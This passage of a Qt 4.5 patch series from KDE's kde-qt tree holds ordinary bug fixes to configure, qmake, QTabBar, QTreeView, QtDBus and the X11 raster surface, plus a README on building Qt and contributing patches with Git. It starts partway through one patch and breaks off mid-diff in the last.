 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.2.5

>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/18] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.2.5

>From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
From: Robert Knight <robertknight at gmail.com>
Date: Sun, 20 Apr 2008 16:28:31 +0200
Subject: [PATCH 05/18] When tabs are inserted or removed in a QTabBar,
 QTabBarPrivate::refresh() is called to update the layout.  If the
 tabbar widget is hidden, this just sets a boolean variable
 (layoutDirty) and returns, so the parent widget's layout is not
 notified about the possible geometry change.

Prior to Qt 4.4 this was not a problem because the geometry was
recalculated in QTabBar::sizeHint() if the layoutDirty variable was
set.  In Qt 4.4 however the layout caches size hint information in
QWidgetItemV2.  Since the cache information is not invalidated, the
layout may end up using out-of-date size hint information to compute
the widget size.

If the QTabBar is empty when QTabBar::sizeHint() is called, it will
return a size with a height of 0, which will be kept in the cache and
so the tab bar will never be shown.

This patch fixes the problem by calling updateGeometry() whenever the
tab bar's layout is refreshed.

qt-bugs@ issue : 208185
Trolltech task ID : 208349
bugs.kde.org number : 159014
---
 src/gui/widgets/qtabbar.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
index 419d456..41107a0 100644
--- a/src/gui/widgets/qtabbar.cpp
+++ b/src/gui/widgets/qtabbar.cpp
@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
         layoutTabs();
         makeVisible(currentIndex);
         q->update();
-        q->updateGeometry();
     }
+    q->updateGeometry();
 }
 
 /*!
-- 
1.6.2.5

>From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Fri, 19 Sep 2008 17:41:26 +0200
Subject: [PATCH 06/18] Fix configure.exe to do an out-of-source build on windows

qt-bugs@ issue : N227213
Trolltech task ID : none yet
---
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    6 ++++++
 3 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/bin/syncqt b/bin/syncqt
index 7a9f1d3..b5a8e1c 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -365,9 +365,13 @@ sub fixPaths {
         $match_dir = $tmp;
         $i = $slash;
     }
+    my $cnt_ofs = 0;
+    if($match_dir =~ /^[a-zA-Z]:$/) {
+      $cnt_ofs = 1;
+    }
     if($match_dir) {
         my $after = substr($dir, length($match_dir));
-        my $count = ($after =~ tr,/,,);
+        my $count = ($after =~ tr,/,,) - $cnt_ofs;
         my $dots = "";
         for(my $i = 0; $i < $count; $i++) {
             $dots .= "../";
diff --git a/projects.pro b/projects.pro
index 2596c0a..3ba0688 100644
--- a/projects.pro
+++ b/projects.pro
@@ -127,6 +127,9 @@ unix {
    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
 }
+win32 {
+   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
+}
 INSTALLS += mkspecs
 
 false:macx { #mac install location
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index d519b09..7979836 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
         inSplitted.prepend(QLatin1String(".."));
     }
     inSplitted.append(inFileInfo.fileName());
+#ifdef Q_WS_WIN
+    const QString rel = inSplitted.join(QLatin1String("/"));
+    const QString abs = inFileInfo.absoluteFilePath();
+    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
+#else
     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
+#endif
 }
 
 
-- 
1.6.2.5

>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/18] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.2.5

>From 1ec9dd029abaa0f00798535fdb1722154b1c63f6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?= <ereslibre at kde.org>
Date: Sun, 26 Oct 2008 10:40:51 +0100
Subject: [PATCH 08/18] In a treeview with columns like this:

Column 1 | Column 2 | ... | Column k | ... | Column n

When selecting with rubberband (by clicking on the blank part of the viewport) while Column k is
hidden, you get double items on the selection model, when asking for selection(). This is becase
ranges are incorrectly calculated when there are hidden columns. A way to reproduce:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
  x <- press button here and move it up to select items (on this same column)

If you do like this:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
                         x <- press button here and move it up

you won't be able to reproduce, since you need the hidden column to be between the one you click and
the last one. The reason is that columnRanges returns two ranges when there is supposed to return 1
range (even when there are hidden columns).

qt-bugs@ issue : N232819
Trolltech task ID : 232831
bugs.kde.org number : 171436
---
 src/gui/itemviews/qtreeview.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index ed6ad03..dc147f2 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -3575,7 +3575,7 @@ QList<QPair<int, int> > QTreeViewPrivate::columnRanges(const QModelIndex &topInd
     current.first = -2; // -1 is not enough because -1+1 = 0
     current.second = -2;
     foreach (int logicalColumn, logicalIndexes) {
-        if (current.second + 1 != logicalColumn) {
+        if (current.second + 1 != logicalColumn && !header->isSectionHidden(current.second + 1)) {
             if (current.first != -2) {
                 //let's save the current one
                 ret += current;
-- 
1.6.2.5

>From b274bbaf4768dcfdfcf95ceda08b6402ffedb80d Mon Sep 17 00:00:00 2001
From: George Goldberg <grundleborg at googlemail.com>
Date: Tue, 28 Apr 2009 17:08:07 +0200
Subject: [PATCH 09/18] This patch fixes deserialization of values with custom types when setting
 properties on dbus adaptors. It is needed, in particular by telepathy/Qt
 programs and libraries. The bug was reported to Nokia on 2009-01-07 along
 with the patch supplied here. The summary of the issue from the Qt
 Software task tracker follows:

When calling the setter for a DBus property, if that property has a custom type
(e.g. a struct with dbus type (uss)), QtDBus fails to demarshall the
QDBusArgument before attempting to set the property on the adaptor. The result
is that it attempts to call adaptor->setProperty() with a QDBusArgument of type
"uss" instead of with the type of the custom struct.

qt-bugs@ issue : N240326
Qt Software task ID : 240608
bugs.kde.org number : none
---
 src/dbus/qdbusinternalfilters.cpp |   16 +++++++++++++++-
 1 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/src/dbus/qdbusinternalfilters.cpp b/src/dbus/qdbusinternalfilters.cpp
index c71f2f4..d261d01 100644
--- a/src/dbus/qdbusinternalfilters.cpp
+++ b/src/dbus/qdbusinternalfilters.cpp
@@ -274,9 +274,23 @@ QDBusMessage qDBusPropertySet(const QDBusConnectionPrivate::ObjectTreeNode &node
             QDBusAdaptorConnector::AdaptorMap::ConstIterator it;
             it = qLowerBound(connector->adaptors.constBegin(), connector->adaptors.constEnd(),
                              interface_name);
-            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface))
+            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface)) {
+                if (value.userType() == qMetaTypeId<QDBusArgument>()) {
+                    QDBusArgument valueArg = qvariant_cast<QDBusArgument>(value);
+                    if (valueArg.currentType() != -1) {
+                        int mid = it->adaptor->metaObject()->property(it->adaptor->metaObject()->indexOfProperty(property_name)).userType();
+                        void *null = 0;
+                        QVariant valueStore(mid, null);
+                        QDBusMetaType::demarshall(valueArg, mid, valueStore.data());
+
+                        if (it->adaptor->setProperty(property_name, valueStore))
+                            return msg.createReply();
+                    }
+                }
+
                 if (it->adaptor->setProperty(property_name, value))
                     return msg.createReply();
+            }
         }
     }
 
-- 
1.6.2.5

>From 9a3fe8fc4912bf82b791c4131f553c18140ca838 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:17:13 -0300
Subject: [PATCH 10/18] Import README.qt-copy from the original qt-copy

---
 README.kde-qt |  188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 188 insertions(+), 0 deletions(-)
 create mode 100644 README.kde-qt

diff --git a/README.kde-qt b/README.kde-qt
new file mode 100644
index 0000000..f605a0b
--- /dev/null
+++ b/README.kde-qt
@@ -0,0 +1,188 @@
+This is a copy of Qt version 4.5.1.  It may include
+modifications which are necessary for KDE; these are listed in the
+patches directory.
+
+1. Qt-copy patches
+==================
+
+You may also consider running the apply_patches script before configuring qt-copy,
+which will apply all not yet applied patches from the patches/ directory that
+are considered safe (they mostly include optimizations and features that don't
+add new API). Note that most of those patches haven't been accepted
+by Qt Software yet. and therefore they'll make your qt-copy differ from official
+Qt version.
+
+2. Configuring Qt
+=================
+
+The recommended compile line is:
+
+--default-config-begin--
+./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
+   -system-libpng -system-libjpeg -system-zlib \
+   -dbus -webkit -no-phonon -plugin-sql-mysql \
+   -nomake examples -nomake demos -prefix <installdir>
+--default-config-end--
+
+It contains "-debug", which greatly improves the use for backtraces (but
+also needs a lot more disk space and makes things slower). To build in
+release mode, replace it with "-release".
+
+It also contains "-no-separate-debug-info", which disables separate .debug
+files. Instead, the debug information will be built into the libraries.
+This option is needed when you install Qt.
+If you don't install Qt, it can be useful to disable this option,
+thus having separate debug symbol files. With separate debug files, you can
+just move those debug files to another directory to remove Qt debug symbols.
+Moving the files back will enable Qt debug symbols again.
+This is useful if you rarely need to step into Qt functions during debugging,
+because GDB loads much faster and uses less memory without Qt debug symbols.
+In the rare case you need to step into Qt code, you can temporarily enable
+debug symbols again by moving the debug files back. You can even load the Qt
+debug symbols from within GDB on demand, using the "symbol-file" command.
+
+It also contains the "-no-exceptions" argument, which disables C++
+exception support. Disabling exception support may improve memory
+consumption if GCC is being used. However, that also disables the
+QtXmlPatterns module since that requires exception support. If you
+plan on using that module, remove the option.
+
+If you are planning to compile Qt using an Icecream cluster you have to
+pass the option -no-pch (no precompiled headers) to configure to make
+distributed compilation work.
+
+3. Compiling Qt
+===============
+
+To compile Qt on a Unix platform, run:
+
+   export MAKEFLAGS=-j2
+   make
+   make install
+
+If your computer has more than one core or processor, you may consider
+increasing the "2" above. If you've got a compile farm available, you
+should adjust the -j argument to match the number of slots in that
+farm.
+
+4. Modifying & rebuilding Qt
+============================
+
+If you make modifications to the Qt source code, you don't need to
+build everything again. Simply go to the directory containing the
+Makefile closest to the files you changed and run "make" again.
+
+For example, if you modified src/corelib/io/qiodevice.cpp, do:
+
+   cd src/corelib
+   make
+
+Do not commit your modifications to qt-copy as such. If you have a fix
+that benefit others, see the "Creating Qt-copy patches" section below.
+
+5. Building Qt examples and demos
+=================================
+
+The "-nomake examples -nomake demos" arguments to the configure script
+mean that those two sections will not be configured for
+building. Which is unneeded for usage of the library.  If you want to
+compile the examples or demos later; just enter either directory and
+type:
+
+   qmake
+   make
+
+6. Building Qt documentation (only applies to Snapshot versions of Qt)
+============================
+
+To build and install the documentation, run:
+
+   make docs
+   ./config.status
+   make install
+
+It is necessary to do this once only, even if you rebuild Qt later.
+
+7. Using Qt uninstalled
+=======================
+
+To use without having to install it, configure it as follows:
+
+   ./configure <other configure options>  -prefix $PWD
+   make sub-src
+   make sub-tools
+
+Attention: DO NOT run
+
+   make install
+
+If you do, Qt will overwrite your include/ directory with its
+installation.
+
+8. Creating Qt-copy patches
+===========================
+
+If you have fixed a bug in Qt or modified it in any way that may
+benefit others, please share your change in the form of a patch. Do
+not commit your changes directly to the qt-copy module because they
+may be lost in a future update if they have not been added to the
+official Qt release.
+
+The exception to the above rule is that if the fix has been accepted
+by Qt Software (and so will appear in the next release of Qt), then
+it can be applied directly to qt-copy.  In this case, the patch
+should still be placed in patches/ as usual, but it should have a
+header line
+    Applied: yes
+
+Before creating a patch, it is recommended to contact Qt Software
+support via qt-bugs at trolltech.com and explain the situation. There may
+be a solution for the problem already or a new direction that should
+be accounted for.
+
+To create a patch, do the following:
+  a) make sure your Qt sources are clean of other changes. Run:
+     svn revert -R .
+  b) make your changes to the Qt source code and verify that it
+  compiles, links and works.
+  c) open the patches/README file and get the next patch number
+  (you must read and understand the README file; if you don't, ask for
+  help from other KDE developers)
+  d) create the patch with:
+     svn diff > patches/NNNN-short-description-of-your-patch.diff
+  where NNNN is the next available number.
+  e) open the file you've just created and add the header to it. The
+  header should be the template in patches/README followed by a longer
+  description of your patch.
+
+Don't forget to submit your patch to qt-bugs at trolltech.com along with
+the long description of the issue found, if you haven't already.
+Qt Software does not monitor the patches/ directory, so qt-copy
+patches do not get automatically applied to Qt official releases.
+
+When you receive the issue number and task tracker numbers, update the
+patch file.
+
+9. Known issues with current Qt code
+====================================
+
+In case you have strange issues with non-resizing windows and similar, use
+   export QT_USE_NATIVE_WINDOWS=1
+before starting KDE.
+
+10. Troubleshooting: Re-configuring and re-compiling
+===================================================
+
+For those updating the source in a directory where Qt has already
+been compiled, you may need to run the following commands from the
+top directory of your Qt sources:
+
+	find . -name '*.moc' | xargs rm
+
+Sometimes ./configure will refuse to run.  You may need to:
+	rm .qmake.cache
+
+If you think you may have run "make install" on an install-less Qt
+(srcdir == $QTDIR), run:
+
+	svn revert -R include
-- 
1.6.2.5

>From 39b24a10e4dee27357b9760b735c2ab98b132963 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:46:54 -0300
Subject: [PATCH 11/18] Update this file to reflect the workflow with Git, as well as use Git commands

---
 README.kde-qt |  163 +++++++++++++++++++++++++++++++--------------------------
 1 files changed, 88 insertions(+), 75 deletions(-)

diff --git a/README.kde-qt b/README.kde-qt
index f605a0b..db3feb6 100644
--- a/README.kde-qt
+++ b/README.kde-qt
@@ -1,27 +1,20 @@
-This is a copy of Qt version 4.5.1.  It may include
-modifications which are necessary for KDE; these are listed in the
-patches directory.
+This is a patched version of Qt.  It may include changes made by KDE
+and Qt developers that have either not been accepted for inclusion
+into Qt, or have been accepted for a later version of Qt than this
+one.
 
-1. Qt-copy patches
-==================
-
-You may also consider running the apply_patches script before configuring qt-copy,
-which will apply all not yet applied patches from the patches/ directory that
-are considered safe (they mostly include optimizations and features that don't
-add new API). Note that most of those patches haven't been accepted
-by Qt Software yet. and therefore they'll make your qt-copy differ from official
-Qt version.
-
-2. Configuring Qt
+1. Configuring Qt
 =================
 
 The recommended compile line is:
 
 --default-config-begin--
-./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
-   -system-libpng -system-libjpeg -system-zlib \
-   -dbus -webkit -no-phonon -plugin-sql-mysql \
-   -nomake examples -nomake demos -prefix <installdir>
+
+  ./configure -qt-gif -debug -fast -no-separate-debug-info \
+     -system-libpng -system-libjpeg -system-zlib \
+     -dbus -webkit -plugin-sql-mysql \
+     -nomake examples -nomake demos -prefix <installdir>
+
 --default-config-end--
 
 It contains "-debug", which greatly improves the use for backtraces (but
@@ -31,6 +24,7 @@ release mode, replace it with "-release".
 It also contains "-no-separate-debug-info", which disables separate .debug
 files. Instead, the debug information will be built into the libraries.
 This option is needed when you install Qt.
+
 If you don't install Qt, it can be useful to disable this option,
 thus having separate debug symbol files. With separate debug files, you can
 just move those debug files to another directory to remove Qt debug symbols.
@@ -41,17 +35,11 @@ In the rare case you need to step into Qt code, you can temporarily enable
 debug symbols again by moving the debug files back. You can even load the Qt
 debug symbols from within GDB on demand, using the "symbol-file" command.
 
-It also contains the "-no-exceptions" argument, which disables C++
-exception support. Disabling exception support may improve memory
-consumption if GCC is being used. However, that also disables the
-QtXmlPatterns module since that requires exception support. If you
-plan on using that module, remove the option.
-
 If you are planning to compile Qt using an Icecream cluster you have to
 pass the option -no-pch (no precompiled headers) to configure to make
 distributed compilation work.
 
-3. Compiling Qt
+2. Compiling Qt
 ===============
 
 To compile Qt on a Unix platform, run:
@@ -65,34 +53,49 @@ increasing the "2" above. If you've got a compile farm available, you
 should adjust the -j argument to match the number of slots in that
 farm.
 
-4. Modifying & rebuilding Qt
+3. Modifying & rebuilding Qt
 ============================
 
 If you make modifications to the Qt source code, you don't need to
 build everything again. Simply go to the directory containing the
 Makefile closest to the files you changed and run "make" again.
 
-For example, if you modified src/corelib/io/qiodevice.cpp, do:
+For example, if you've modified src/corelib/io/qiodevice.cpp, do:
 
    cd src/corelib
    make
 
-Do not commit your modifications to qt-copy as such. If you have a fix
-that benefit others, see the "Creating Qt-copy patches" section below.
+If you make a change that is not temporary, you should create a Git
+commit out of it. However, you shouldn't push those changes to
+kde-qt.git. If you have a fix that benefit others, see the "Creating
+kde-qt.git modifications" section below.
 
-5. Building Qt examples and demos
+4. Building Qt examples and demos
 =================================
 
 The "-nomake examples -nomake demos" arguments to the configure script
-mean that those two sections will not be configured for
-building. Which is unneeded for usage of the library.  If you want to
-compile the examples or demos later; just enter either directory and
-type:
+mean that those two sections will not be configured for building,
+which is unneeded for usage of the library.  If you want to compile
+the examples or demos later, just enter either directory and type:
 
    qmake
    make
 
-6. Building Qt documentation (only applies to Snapshot versions of Qt)
+5. Build Qt tests
+=================
+
+(Official information: http://qt.gitorious.org/qt/pages/QtAutotestsEnvironment)
+
+In order to run Qt tests, you must have a "developer build" of Qt. For
+that, you need to reconfigure Qt and add the "-developer-build"
+option. That option is technically equivalent to the options:
+
+   -debug -prefix $PWD -DQT_BUILD_INTERNAL
+
+To run a test, go to its source dir in tests/auto/testname. Type
+"make" to build it, then run it (either ./tst_testname, or "make install").
+
+6. Building Qt documentation
 ============================
 
 To build and install the documentation, run:
@@ -119,21 +122,25 @@ Attention: DO NOT run
 If you do, Qt will overwrite your include/ directory with its
 installation.
 
-8. Creating Qt-copy patches
-===========================
+8. Creating kde-qt.git modifications
+====================================
 
 If you have fixed a bug in Qt or modified it in any way that may
 benefit others, please share your change in the form of a patch. Do
-not commit your changes directly to the qt-copy module because they
+not commit your changes directly to the main branch because they
 may be lost in a future update if they have not been added to the
 official Qt release.
 
 The exception to the above rule is that if the fix has been accepted
-by Qt Software (and so will appear in the next release of Qt), then
-it can be applied directly to qt-copy.  In this case, the patch
-should still be placed in patches/ as usual, but it should have a
-header line
-    Applied: yes
+by Qt Software (and so will appear in the very next release of Qt),
+then it should be simply cherry-picked from the Qt development
+branch. Note that you shouldn't do this for changes that have been
+accepted into a release which is not the very next.
+In this case, you should use the following command:
+
+   git cherry-pick -x SHA1_OF_THE_FIX
+where SHA1_OF_THE_FIX is the SHA-1 of the commit that you want to
+introduce. Then push the change to the server.
 
 Before creating a patch, it is recommended to contact Qt Software
 support via qt-bugs at trolltech.com and explain the situation. There may
@@ -141,37 +148,42 @@ be a solution for the problem already or a new direction that should
 be accounted for.
 
 To create a patch, do the following:
-  a) make sure your Qt sources are clean of other changes. Run:
-     svn revert -R .
-  b) make your changes to the Qt source code and verify that it
-  compiles, links and works.
-  c) open the patches/README file and get the next patch number
-  (you must read and understand the README file; if you don't, ask for
-  help from other KDE developers)
-  d) create the patch with:
-     svn diff > patches/NNNN-short-description-of-your-patch.diff
-  where NNNN is the next available number.
-  e) open the file you've just created and add the header to it. The
-  header should be the template in patches/README followed by a longer
-  description of your patch.
-
-Don't forget to submit your patch to qt-bugs at trolltech.com along with
-the long description of the issue found, if you haven't already.
-Qt Software does not monitor the patches/ directory, so qt-copy
-patches do not get automatically applied to Qt official releases.
-
-When you receive the issue number and task tracker numbers, update the
-patch file.
-
-9. Known issues with current Qt code
-====================================
-
-In case you have strange issues with non-resizing windows and similar, use
-   export QT_USE_NATIVE_WINDOWS=1
-before starting KDE.
-
-10. Troubleshooting: Re-configuring and re-compiling
-===================================================
+  a) look at the listing of branches in
+  http://qt.gitorious.org/+kde-developers/qt/kde-qt/commits/HEAD and
+  select the next number.
+
+  b) create a new branch out of a clean, released version of Qt, (for
+  example, 4.5.1), using the number above and a brief description of
+  your fix. For example:
+      git checkout -b patches/0180-window-role v4.5.1
+  You can see the available released versions of Qt with:
+      git tag
+
+  c) make your changes to the Qt source code and verify that it
+  compiles, links and works (please run the respective unit tests).
+
+  c) commit your changes to Git, using the "git commit" command. Please
+  see http://qt.gitorious.org/qt/pages/GitIntroductionWithQt and
+  http://qt.gitorious.org/qt/pages/QtCodingStyle for information on
+  how to create commits
+  Note that you can create multiple commits.
+
+  e) merge the change to the main branch, for example, 4.5.1-patched:
+      git checkout 4.5.1-patched
+      git merge patches/0180-window-role
+
+  f) push the changes you made to your branch and to the main server:
+      git push git at gitorious.org:qt/kde-qt.git 4.5.1-patched patches/0180-window-role
+  (Don't forget to list both branch names)
+
+Don't forget to submit your patch to using the Qt Contribution Model,
+along with the long description of the issue found. See
+http://qt.gitorious.org/qt/pages/QtContributionGuidelines for
+information how. You can submit the branch you've just sent to the
+server.
+
+9. Troubleshooting: Re-configuring and re-compiling
+==================================================
 
 For those updating the source in a directory where Qt has already
 been compiled, you may need to run the following commands from the
@@ -185,4 +197,5 @@ Sometimes ./configure will refuse to run.  You may need to:
 If you think you may have run "make install" on an install-less Qt
 (srcdir == $QTDIR), run:
 
-	svn revert -R include
+	rm -rf include
+	bin/syncqt
-- 
1.6.2.5

>From 8731ab999b849dac4716e3d29f5f55ed8e56438e Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Thu, 25 Jun 2009 13:50:29 +0200
Subject: [PATCH 12/18] This patch makes the raster graphics system use shared images instead
 of shared pixmaps.

Shared memory pixmaps are deprecated since they are slower than shared
images with modern graphics hardware. They are also not supported by EXA
drivers and can be disabled in the latest version of the NVidia driver.

qt-bugs@ issue : none
Qt Software task ID : none
bugs.kde.org number : none
---
 src/gui/image/qnativeimage.cpp             |   10 ----------
 src/gui/image/qnativeimage_p.h             |    1 -
 src/gui/painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 3 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 3745708..3c21fce 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -147,7 +147,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
 {
     if (!X11->use_mitshm) {
         xshmimg = 0;
-        xshmpm = 0;
         image = QImage(width, height, format);
         return;
     }
@@ -191,11 +190,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -204,10 +198,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff --git a/src/gui/image/qnativeimage_p.h b/src/gui/image/qnativeimage_p.h
index 07d5dfe..ba01854 100644
--- a/src/gui/image/qnativeimage_p.h
+++ b/src/gui/image/qnativeimage_p.h
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp
index d6fb03b..09963d9 100644
--- a/src/gui/painting/qwindowsurface_raster.cpp
+++ b/src/gui/painting/qwindowsurface_raster.cpp
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
